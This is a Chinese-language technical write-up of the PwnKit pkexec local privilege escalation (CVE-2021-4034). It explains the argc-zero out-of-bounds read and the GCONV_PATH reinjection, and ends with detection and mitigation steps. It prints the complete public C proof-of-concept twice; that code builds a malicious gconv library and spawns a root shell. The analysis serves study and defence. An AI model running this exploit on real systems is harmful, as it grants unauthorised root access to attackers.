CVE-2021-4034 pkexec 本地提权漏洞利用解析

0x00 作者

钱程 of IceSword Lab

0x01 漏洞基本信息

polkit 的 pkexec 程序中存在一个本地权限提升漏洞。当前版本的 pkexec 无法正确处理调用参数计数，并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点，从而诱导 pkexec 执行任意代码。利用成功后，会导致本地特权升级，非特权用户获得管理员权限

软件简介

polkit 是一个应用程序级别的工具集，通过定义和审核权限规则，实现不同优先级进程间的通讯：控制决策集中在统一的框架之中，决定低优先级进程是否有权访问高优先级进程。

Polkit 在系统层级进行权限控制，提供了一个低优先级进程和高优先级进程进行通讯的系统。和 sudo 等程序不同，Polkit 并没有赋予进程完全的 root 权限，而是通过一个集中的策略系统进行更精细的授权。

Polkit 定义出一系列操作，例如运行 GParted, 并将用户按照群组或用户名进行划分，例如 wheel 群组用户。然后定义每个操作是否可以由某些用户执行，执行操作前是否需要一些额外的确认，例如通过输入密码确认用户是不是属于某个群组。

https://wiki.archlinux.org/title/Polkit_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)

漏洞原理概括

当前版本的 pkexec 无法正确处理调用参数计数，并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点，从而诱导 pkexec 执行任意代码。

前置知识

pkexec 是 polkit 的一个程序，可以以其他用户身份执行命令。

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➜ pkexec --help
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.

不指定 --user 参数时，缺省为 root。比如：

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pkexec reboot

7X2MRK.png

漏洞环境搭建

环境没有特殊要求，主流 Linux 发行版都可以。

本次测试的环境：

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➜ uname -a
Linux ubuntu 5.11.0-46-generic #51~20.04.1-Ubuntu SMP Fri Jan 7 06:51:40 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
~ 
➜ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 20.04.3 LTS
Release:	20.04
Codename:	focal
➜ gcc --version
gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
➜ pkexec --version
pkexec version 0.105

0x02 漏洞分析

对该漏洞的分析将结合已知的 POC 和 Qualys 的报告进行。

分析 POC

先来分析 POC：

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 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <unistd.h>
 4 
 5 char *shell =
 6         "#include <stdio.h>\n"
 7         "#include <stdlib.h>\n"
 8         "#include <unistd.h>\n\n"
 9         "void gconv() {}\n"
10         "void gconv_init() {\n"
11         "       setuid(0); setgid(0);\n"
12         "       seteuid(0); setegid(0);\n"
13         "       system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
14         "       exit(0);\n"
15         "}";
16         
17 int main(int argc, char *argv[]) {
18         FILE *fp;
19         system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
20         system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
21         fp = fopen("pwnkit/pwnkit.c", "w");
22         fprintf(fp, "%s", shell);
23         fclose(fp); 
24         system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
25         char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
26         execve("/usr/bin/pkexec", (char*[]){NULL}, env);
27 }

在该 POC 中：

  1. L5-L15，即 payload，引入了一个 root 权限的 /bin/sh
  2. L19，创建目录 GCONV_PATH=.，创建文件 GCONV_PATH=./pwnkit 并添加了执行权限
  3. L20，创建目录 pwnkit，创建文件 pwnkit/gconv-modules 并写入内容 module UTF-8// PWNKIT// pwnkit 2
  4. L21-L24，把 payload 写入 pwnkit/pwnkit.c 并编译为动态链接库 pwnkit/pwnkit.so
  5. L25，一个特殊的数组
  6. L26，使用 execve 调用 pkexec，这里有个特别的参数 (char*[]){NULL}，这也是整个 POC 的启动点

测试一下 POC：

7X2QxO.png

奇妙的 argc 为 0

argc 和 argv 大家都熟悉，为了后面的分析这里再介绍一下：

  • argc：即 argument count，保存运行时传递给 main 函数的参数个数。
  • argv：即 argument vector，保存运行时传递 main 函数的参数，类型是一个字符指针数组，每个元素是一个字符指针，指向一个命令行参数。
    例如：
  • argv[0] 指向程序运行时的全路径名；
  • argv[1] 指向程序在命令行中执行程序名后的第一个字符串

下面的代码就展示了 argc 和 argv 用法：

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//t.c
#include <stdio.h>
int main(int argc, char *argv[]){
        printf("argc:%d\n",argc);
        for(int i=0;i<=argc;i++){
                printf("argv[%d]:%s\n",i,argv[i]);
        }
        return 0;
}

➜ gcc t.c -o t
~/t2 
➜ ./t
argc:1
argv[0]:./t
argv[1]:(null)
~/t2 
➜ ./t -l
argc:2
argv[0]:./t
argv[1]:-l
argv[2]:(null)

execve()

execve() 可以执行程序，使用该函数需要引入 unistd.h 头文件，函数原型：

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int execve(const char *pathname, char *const argv[],
           char *const envp[]);

我们使用前面的 t.c 来熟悉一下 execve()：

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//ex.c
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]){
    char *args[]={"./t","-l",NULL};
    char *enp[]={0,NULL};
    execve("./t",args,enp);
    return 0;
}

➜ vim ex.c
~/t2 took 24s 
➜ gcc ex.c -o ex
~/t2 
➜ ./ex 
argc:2
argv[0]:./t
argv[1]:-l
argv[2]:(null)

前面 POC 中 L26，使用了 execve()：

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25         char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
26         execve("/usr/bin/pkexec", (char*[]){NULL}, env);

但是参数使用方法和我们测试的不同，第二个参数使用了 (char*[]){NULL} 进行填充。我们来测试一下这样会有什么结果：

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//ex.c
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]){
    //char *args[]={"./t","-l",NULL};
    char *enp[]={0,NULL};
    execve("./t",(char*[]){NULL},enp);
    return 0;
}

~/t2 
➜ vim ex.c
~/t2 took 31s 
➜ gcc ex.c -o ex
~/t2 
➜ ./ex 
argc:0
argv[0]:(null)

此时我们发现 argc 为 0，且 argv[0] 内容为空，不再是程序本身。这有什么用呢？用处很大。

pkexec 中的越界读取

现在来分析 pkexec 的代码，其 main() 函数主要结构如下：

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435 main (int argc, char *argv[])
436 {
...
534   for (n = 1; n < (guint) argc; n++)
535     {
...
568     }
...
610   path = g_strdup (argv[n]);
...
629   if (path[0] != '/')
630     {
...
632       s = g_find_program_in_path (path);
...
639       argv[n] = path = s;
640     }

其中有两个 glib 提供的函数 g_strdup() 和 g_find_program_in_path() ，先熟悉一下：

  • g_strdup() 复制一个字符串，声明如下：
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    gchar *
    g_strdup (const gchar *str);
  • g_find_program_in_path() 在用户路径中定位第一个名为 program 的可执行程序，与 execvp() 定位它的方式相同。返回具有绝对路径名的已分配字符串，如果在路径中找不到程序，则返回 NULL。如果 program 已经是绝对路径，且如果 program 存在并且可执行，则返回 program 的副本，否则返回 NULL。
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    gchar*
    g_find_program_in_path (
      const gchar* program
    )

再看 main() 函数中：

  • L534-L568，用来处理命令行参数
    • L534：n=1，当 argc=1 时，不会进入循环，比如：pkexec；当 argc>1时，才会进入循环，比如：pkexec --version
  • L610-L640，如果其路径不是绝对路径,会在 PATH 中搜索要执行的程序
    • L610：使用 g_strdup() 复制 argv[n] 的内容到 path，因为在 pkexec 中 argv[n] 就是目标路径，比如：pkexec reboot
    • L629：这里判断是否是绝对路径的方法比较巧妙，使用 path[0] != '/' 来判断
    • L632：检索目标路径，返回目标路径字符串
    • L639：将返回的路径赋值给 path 和 argv[n]

正常情况下，这样处理的逻辑没有问题。
但如果命令行参数 argc 为 0，则会出现意外情况：

  • L534，n 永久设置为 1；
  • L610，argv[1] 发生越界读取，并把越界读取到的值赋给了 path；
  • L639，指针 s 被越界写入 argv[1]。

问题在于，这个越界的 argv[1] 中读取和写入的是什么？

我们需要先了解参数的内存布局，结合内核代码来分析：

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// linux5.4/fs/binfmt_elf.c:
163 static int
164 create_elf_tables(struct linux_binprm *bprm, struct elfhdr *exec,
165         unsigned long load_addr, unsigned long interp_load_addr)
166 {
...
284     sp = STACK_ADD(p, ei_index);
...
		// 布局 main 函数栈
306     /* Now, let's put argc (and argv, envp if appropriate) on the stack */
		// argc 入栈
307     if (__put_user(argc, sp++))
308         return -EFAULT;
309
		// argv 入栈
310     /* Populate list of argv pointers back to argv strings. */
311     p = current->mm->arg_end = current->mm->arg_start;
312     while (argc-- > 0) {
313         size_t len;
314         if (__put_user((elf_addr_t)p, sp++))
315             return -EFAULT;
316         len = strnlen_user((void __user *)p, MAX_ARG_STRLEN);
317         if (!len || len > MAX_ARG_STRLEN)
318             return -EINVAL;
319         p += len;
320     }
		// argv null 入栈
321     if (__put_user(0, sp++))
322         return -EFAULT;
323     current->mm->arg_end = p;
324
		// env 入栈
325     /* Populate list of envp pointers back to envp strings. */
326     current->mm->env_end = current->mm->env_start = p;
327     while (envc-- > 0) {
328         size_t len;
329         if (__put_user((elf_addr_t)p, sp++))
330             return -EFAULT;
331         len = strnlen_user((void __user *)p, MAX_ARG_STRLEN);
332         if (!len || len > MAX_ARG_STRLEN)
333             return -EINVAL;
334         p += len;
335     }
		// env null 入栈
336     if (__put_user(0, sp++))
337         return -EFAULT;\
...
}

从代码中可以看出，当 execve() 一个新程序时，内核将参数、环境字符串和指针（argv 和 envp）复制到新程序堆栈的末尾，main 函数参数是布局在栈上，argc、argv依次入栈（L307、L321），后面紧接着就是 env 入栈（L325-L336）。
把上面的代码简化成下面的图示：

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|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
     V         V                V           V         V                V
 "program" "-option"           NULL      "value" "PATH=name"          NULL

可以发现 argv 和 envp 指针在内存中是连续的，如果 argc 为 0，那么越界 argv[1] 实际上是 envp[0]，指向第一个环境变量 value 的指针。

argv[1] 是什么解决了，那再回过来看 pkexec 的 main() 函数

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435 main (int argc, char *argv[])
436 {
...
534   for (n = 1; n < (guint) argc; n++)
535     {
...
568     }
...
610   path = g_strdup (argv[n]);
...
629   if (path[0] != '/')
630     {
...
632       s = g_find_program_in_path (path);
...
639       argv[n] = path = s;
640     }
  • L610，要执行的程序的路径从 argv[1]（即 envp[0]）越界读取，并指向 value
  • L632，这个路径 value 被传递给 g_find_program_in_path()
  • g_find_program_in_path() 会在 PATH 环境变量的目录中搜索一个名为 value 的可执行文件
  • 如果找到这样的可执行文件，则将其完整路径返回给 pkexec 的 main() 函数（L632）
  • 最后，L639，这个完整路径被越界写入 argv[1]（即 envp[0]），覆盖了第一个环境变量。

因此只要能控制 g_find_program_in_path 返回的字符串，就可以注入任意的环境变量。

Qualys 指出如果 PATH 环境变量是 PATH=name，并且目录 name 存在（在当前工作目录中）并且包含一个名为 value 的可执行文件，则写入一个指向字符串 name/value 的指针越界到 envp[0]。

进一步，让这个组合的文件名里包含等号 “=”。传入 PATH=name=. ，创建一个 name=. 目录，并在其中放一个可执行文件 value，最终 envp[0] 就会被篡改为 name=./value，也就是注入了一个新的环境变量进去。

换句话说，这种越界写入可以绕过原有的安全检查，将不安全的环境变量（例如，LD_PRELOAD）重新引入 pkexec 的环境。

寻找不安全的环境变量

新的问题是：要成功利用这个漏洞，应该将哪个不安全变量重新引入 pkexec 的环境中？我们的选择是有限的，因为在越界写入后不久（L639），pkexec 完全清除了它的环境（L702）：

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639       argv[n] = path = s;
...
657   for (n = 0; environment_variables_to_save[n] != NULL; n++)
658     {
659       const gchar *key = environment_variables_to_save[n];
...
662       value = g_getenv (key);
...
670       if (!validate_environment_variable (key, value))
...
675     }
...
702   if (clearenv () != 0)

答案来自于 pkexec 的复杂性：为了向 stderr 打印错误消息，pkexec 调用 GLib 的函数 g_printerr()（注意：GLib 是 GNOME 库，而不是 GNU C 库，即 glibc）；例如，函数 validate_environment_variable() 和 log_message() 调用 g_printerr() （L126，L408-L409）：

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  88 log_message (gint     level,
  89              gboolean print_to_stderr,
  90              const    gchar *format,
  91              ...)
  92 {
 ...
 125   if (print_to_stderr)
 126     g_printerr ("%s\n", s);
------------------------------------------------------------------------
 383 validate_environment_variable (const gchar *key,
 384                                const gchar *value)
 385 {
 ...
 406           log_message (LOG_CRIT, TRUE,
 407                        "The value for the SHELL variable was not found the /etc/shells file");
 408           g_printerr ("\n"
 409                       "This incident has been reported.\n");

g_printerr() 通常打印 UTF-8 错误消息，但如果环境变量 CHARSET 不是 UTF-8，它可以打印另一个字符集中的消息（注意：CHARSET 不是安全敏感的，它不是不安全的环境变量）。

要将消息从 UTF-8 转换为另一个字符集，g_printerr() 调用 glibc 的函数 iconv_open()。

要将消息从一个字符集转换为另一个字符集，iconv_open() 执行小型共享库；通常，这些三元组（“from”字符集、“to”字符集和库名称）是从默认配置文件 /usr/lib/gconv/gconv-modules 中读取的。但环境变量 GCONV_PATH 可以强制 iconv_open() 读取另一个配置文件；所以 GCONV_PATH 是不安全的环境变量之一（因为它会导致执行任意库），因此会被 ld.so 从 SUID 程序的环境中删除。

我们可以把 GCONV_PATH 重新引入 pkexec 的环境，并以 root 身份执行我们自己的共享库。

回顾 POC

现在我们对漏洞原理有了更深的认识，再看一看 POC

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 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <unistd.h>
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 5 char *shell =
 6         "#include <stdio.h>\n"
 7         "#include <stdlib.h>\n"
 8         "#include <unistd.h>\n\n"
 9         "void gconv() {}\n"
10         "void gconv_init() {\n"
11         "       setuid(0); setgid(0);\n"
12         "       seteuid(0); setegid(0);\n"
13         "       system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
14         "       exit(0);\n"
15         "}";
16         
17 int main(int argc, char *argv[]) {
18         FILE *fp;
19         system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
20         system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
21         fp = fopen("pwnkit/pwnkit.c", "w");
22         fprintf(fp, "%s", shell);
23         fclose(fp); 
24         system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
25         char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
26         execve("/usr/bin/pkexec", (char*[]){NULL}, env);
27 }

需要新注意的是：

  1. L26，使用 execve 调用 pkexec，(char*[]){NULL}造成 argv[1] 越界读取
  2. L25，一个特殊的数组，env[0]为 payload，env[1]引入了GCONV_PATH
  3. L20，设置非UTF-8环境，也就导致 payload 中 gconv_init 执行，造成 /bin/sh 执行，恢复环境变量得到 root shell。

0x03 漏洞总结

总结一下该漏洞的利用思路：

  1. 通过设置 execve() 的 argv[] 为零，造成 argv[1] 越界读取，并绕过安全检查
  2. 通过 g_printerr 函数发现可控的不安全环境变量 GCONV_PATH
  3. 构造畸形的路径使 pkexec 从指定路径读取环境变量完成提权

这个漏洞的质量非常好，利用思路也很有趣，借用一下 Qualys 对该漏洞的评价：

这个漏洞是攻击者的梦想成真。

  • pkexec 默认安装在所有主要的 Linux 发行版上（我们利用了 Ubuntu、Debian、Fedora、CentOS，而其他发行版也可能利用）
  • pkexec 自 2009 年 5 月创建以来就存在漏洞（commit c8c3d83, “Add a pkexec(1) command”）
  • 任何没有特权的本地用户都可以利用这个漏洞来获得完全的 root 权限。
  • 虽然这个漏洞在技术上是一个内存损坏，但它可即时、可靠地、以独立于架构的方式加以利用。
  • 即使 polkit 守护进程本身没有运行，也可以利用。

0x04 漏洞补丁

a. 如何检测该漏洞

检查组件版本：

1
2
➜ pkexec --version
pkexec version 0.105

b. 如何防御该漏洞

及时升级组件

c. 有没有哪种通用的缓解措施可以阻断该漏洞

Qualys 在 报告 中给出了缓解措施：

1
# chmod 0755 /usr/bin/pkexec

即从 pkexec 中删除 SUID 位

RedHat 给出了针对该漏洞的缓解措施：

https://access.redhat.com/security/vulnerabilities/RHSB-2022-001

0x05 参考

  1. CVE-2021-4034 pkexec 本地提权 - 非尝咸鱼贩 [2022-01-26]
  2. PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) | Qualys Security Blog
  3. https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
  4. 演示视频：PwnKit Vulnerability on Vimeo
  5. Commit：pkexec: local privilege escalation (CVE-2021-4034) (a2bf5c9c) · Commits · polkit / polkit · GitLab
  6. POC：arthepsy/CVE-2021-4034: PoC for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034)
  7. oss-security - pwnkit: Local Privilege Escalation in polkit’s pkexec (CVE-2021-4034)
  8. CVE-2021-4034:Linux Polkit 权限提升漏洞通告 - 360CERT [2022-01-26]

更早的相关研究